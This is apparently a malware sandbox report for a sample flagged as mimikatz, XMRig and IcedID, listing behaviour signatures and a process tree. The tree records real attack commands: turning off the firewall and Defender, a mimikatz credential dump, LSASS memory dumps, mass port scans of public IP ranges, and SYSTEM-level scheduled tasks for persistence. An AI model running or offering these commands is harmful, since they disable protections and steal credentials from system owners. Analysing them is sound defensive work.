Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 19:21

General

  • Target

    2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe

  • Size

    7.8MB

  • MD5

    f02e13c84844d1211564b794d742074f

  • SHA1

    a246d29a191218a5ac4be278218272bd84030844

  • SHA256

    ed561b807df08e7844e53d968d90d05077b6f156925f3e41821e5030560c05fa

  • SHA512

    d142734817f813ea723e49bb6abe4a568795f3cebcec3ee2108d00b9bb35dfbfce26b75786d71e864b2d7511bc3028c922eb0f9bcdefc18f995073cfc13cea27

  • SSDEEP

    98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (29466) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 12 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 4 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 29 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 37 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 45 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:2104
      • C:\Windows\TEMP\uceribebv\tgbwhe.exe
        "C:\Windows\TEMP\uceribebv\tgbwhe.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2236
    • C:\Users\Admin\AppData\Local\Temp\2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-07-26_f02e13c84844d1211564b794d742074f_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mylebbdu\kesbnle.exe
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2060
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4876
        • C:\Windows\mylebbdu\kesbnle.exe
          C:\Windows\mylebbdu\kesbnle.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4700
    • C:\Windows\mylebbdu\kesbnle.exe
      C:\Windows\mylebbdu\kesbnle.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4212
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2992
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2744
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4396
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3504
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4496
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1496
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4808
      • C:\Windows\SysWOW64\netsh.exe
        netsh ipsec static del all
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:4208
      • C:\Windows\SysWOW64\netsh.exe
        netsh ipsec static add policy name=Bastards description=FuckingBastards
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        PID:1676
      • C:\Windows\SysWOW64\netsh.exe
        netsh ipsec static add filteraction name=BastardsList action=block
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:2956
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c C:\Windows\peftkslzp\lrubiezlu\wpcap.exe /S
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1900
        • C:\Windows\peftkslzp\lrubiezlu\wpcap.exe
          C:\Windows\peftkslzp\lrubiezlu\wpcap.exe /S
          3⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:3744
          • C:\Windows\SysWOW64\net.exe
            net stop "Boundary Meter"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2720
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "Boundary Meter"
              5⤵
                PID:3292
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4984
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "TrueSight Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:4016
            • C:\Windows\SysWOW64\net.exe
              net stop npf
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3120
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop npf
                5⤵
                • System Location Discovery: System Language Discovery
                PID:3012
            • C:\Windows\SysWOW64\net.exe
              net start npf
              4⤵
              • System Location Discovery: System Language Discovery
              PID:4676
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                5⤵
                • System Location Discovery: System Language Discovery
                PID:3200
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net start npf
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1344
          • C:\Windows\SysWOW64\net.exe
            net start npf
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1236
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start npf
              4⤵
              • System Location Discovery: System Language Discovery
              PID:4536
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net start npf
          2⤵
            PID:1980
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:3480
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                  PID:4300
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Windows\peftkslzp\lrubiezlu\fisbebupd.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\peftkslzp\lrubiezlu\Scant.txt
              2⤵
                PID:3020
                • C:\Windows\peftkslzp\lrubiezlu\fisbebupd.exe
                  C:\Windows\peftkslzp\lrubiezlu\fisbebupd.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\peftkslzp\lrubiezlu\Scant.txt
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:5032
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c C:\Windows\peftkslzp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\peftkslzp\Corporate\log.txt
                2⤵
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                PID:1488
                • C:\Windows\peftkslzp\Corporate\vfshost.exe
                  C:\Windows\peftkslzp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:412
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gelynppwa" /ru system /tr "cmd /c C:\Windows\ime\kesbnle.exe"
                2⤵
                  PID:1588
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:1272
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /sc minute /mo 1 /tn "gelynppwa" /ru system /tr "cmd /c C:\Windows\ime\kesbnle.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:4856
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eyltmvbgz" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mylebbdu\kesbnle.exe /p everyone:F"
                  2⤵
                    PID:3812
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:1860
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "eyltmvbgz" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mylebbdu\kesbnle.exe /p everyone:F"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      • Scheduled Task/Job: Scheduled Task
                      PID:2892
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uecmbelya" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\uceribebv\tgbwhe.exe /p everyone:F"
                    2⤵
                      PID:220
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:1268
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /sc minute /mo 1 /tn "uecmbelya" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\uceribebv\tgbwhe.exe /p everyone:F"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:4144
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:2772
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:396
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:4424
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static set policy name=Bastards assign=y
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:3368
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:3016
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:3744
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:2140
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static set policy name=Bastards assign=y
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:700
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:4396
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:4196
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:3864
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static set policy name=Bastards assign=y
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:952
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net stop SharedAccess
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:4464
                      • C:\Windows\SysWOW64\net.exe
                        net stop SharedAccess
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:3796
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop SharedAccess
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:3040
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c netsh firewall set opmode mode=disable
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:4836
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh firewall set opmode mode=disable
                        3⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:1224
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c netsh Advfirewall set allprofiles state off
                      2⤵
                        PID:3316
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh Advfirewall set allprofiles state off
                          3⤵
                          • Modifies Windows Firewall
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:3672
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c net stop MpsSvc
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:2188
                        • C:\Windows\SysWOW64\net.exe
                          net stop MpsSvc
                          3⤵
                            PID:4540
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop MpsSvc
                              4⤵
                                PID:1908
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net stop WinDefend
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:4568
                            • C:\Windows\SysWOW64\net.exe
                              net stop WinDefend
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:3016
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop WinDefend
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:4920
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net stop wuauserv
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:4960
                            • C:\Windows\SysWOW64\net.exe
                              net stop wuauserv
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:1900
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop wuauserv
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:2596
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config MpsSvc start= disabled
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:4480
                            • C:\Windows\SysWOW64\sc.exe
                              sc config MpsSvc start= disabled
                              3⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:3264
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config SharedAccess start= disabled
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:3972
                            • C:\Windows\SysWOW64\sc.exe
                              sc config SharedAccess start= disabled
                              3⤵
                              • Launches sc.exe
                              PID:4084
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config WinDefend start= disabled
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:2556
                            • C:\Windows\SysWOW64\sc.exe
                              sc config WinDefend start= disabled
                              3⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:5100
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config wuauserv start= disabled
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:60
                            • C:\Windows\SysWOW64\sc.exe
                              sc config wuauserv start= disabled
                              3⤵
                              • Launches sc.exe
                              PID:2692
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 788 C:\Windows\TEMP\peftkslzp\788.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3628
                          • C:\Windows\TEMP\xohudmc.exe
                            C:\Windows\TEMP\xohudmc.exe
                            2⤵
                            • Executes dropped EXE
                            • Drops file in System32 directory
                            • Suspicious use of SetWindowsHookEx
                            PID:4520
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 336 C:\Windows\TEMP\peftkslzp\336.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2096
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 2104 C:\Windows\TEMP\peftkslzp\2104.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1112
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 2464 C:\Windows\TEMP\peftkslzp\2464.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1632
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 2884 C:\Windows\TEMP\peftkslzp\2884.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2136
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 2180 C:\Windows\TEMP\peftkslzp\2180.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2096
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 3140 C:\Windows\TEMP\peftkslzp\3140.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4372
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 3748 C:\Windows\TEMP\peftkslzp\3748.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3676
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 3848 C:\Windows\TEMP\peftkslzp\3848.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1860
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 3916 C:\Windows\TEMP\peftkslzp\3916.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2188
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 4008 C:\Windows\TEMP\peftkslzp\4008.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1828
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 1956 C:\Windows\TEMP\peftkslzp\1956.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:804
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 1660 C:\Windows\TEMP\peftkslzp\1660.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:764
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 536 C:\Windows\TEMP\peftkslzp\536.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5048
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 3708 C:\Windows\TEMP\peftkslzp\3708.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4144
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 4788 C:\Windows\TEMP\peftkslzp\4788.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1268
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 1064 C:\Windows\TEMP\peftkslzp\1064.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3616
                          • C:\Windows\TEMP\peftkslzp\lypegiteb.exe
                            C:\Windows\TEMP\peftkslzp\lypegiteb.exe -accepteula -mp 3544 C:\Windows\TEMP\peftkslzp\3544.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3456
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c C:\Windows\peftkslzp\lrubiezlu\scan.bat
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:4628
                            • C:\Windows\peftkslzp\lrubiezlu\itbsbubig.exe
                              itbsbubig.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
                              3⤵
                              • Executes dropped EXE
                              • Drops file in Windows directory
                              • System Location Discovery: System Language Discovery
                              PID:216
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                            2⤵
                              PID:6124
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:5748
                              • C:\Windows\SysWOW64\cacls.exe
                                cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                3⤵
                                  PID:2060
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2808
                                • C:\Windows\SysWOW64\cacls.exe
                                  cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:5700
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:6048
                                • C:\Windows\SysWOW64\cacls.exe
                                  cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2196
                            • C:\Windows\SysWOW64\ascsoo.exe
                              C:\Windows\SysWOW64\ascsoo.exe
                              1⤵
                              • Executes dropped EXE
                              • Suspicious use of SetWindowsHookEx
                              PID:3960
                            • C:\Windows\system32\cmd.EXE
                              C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\uceribebv\tgbwhe.exe /p everyone:F
                              1⤵
                                PID:1772
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                  2⤵
                                    PID:816
                                  • C:\Windows\system32\cacls.exe
                                    cacls C:\Windows\TEMP\uceribebv\tgbwhe.exe /p everyone:F
                                    2⤵
                                      PID:2700
                                  • C:\Windows\system32\cmd.EXE
                                    C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mylebbdu\kesbnle.exe /p everyone:F
                                    1⤵
                                      PID:1224
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        2⤵
                                          PID:3180
                                        • C:\Windows\system32\cacls.exe
                                          cacls C:\Windows\mylebbdu\kesbnle.exe /p everyone:F
                                          2⤵
                                            PID:3856
                                        • C:\Windows\system32\cmd.EXE
                                          C:\Windows\system32\cmd.EXE /c C:\Windows\ime\kesbnle.exe
                                          1⤵
                                            PID:3796
                                            • C:\Windows\ime\kesbnle.exe
                                              C:\Windows\ime\kesbnle.exe
                                              2⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetWindowsHookEx
                                              PID:4432
                                          • C:\Windows\system32\cmd.EXE
                                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\uceribebv\tgbwhe.exe /p everyone:F
                                            1⤵
                                              PID:1424
                                              • C:\Windows\system32\cmd.exe
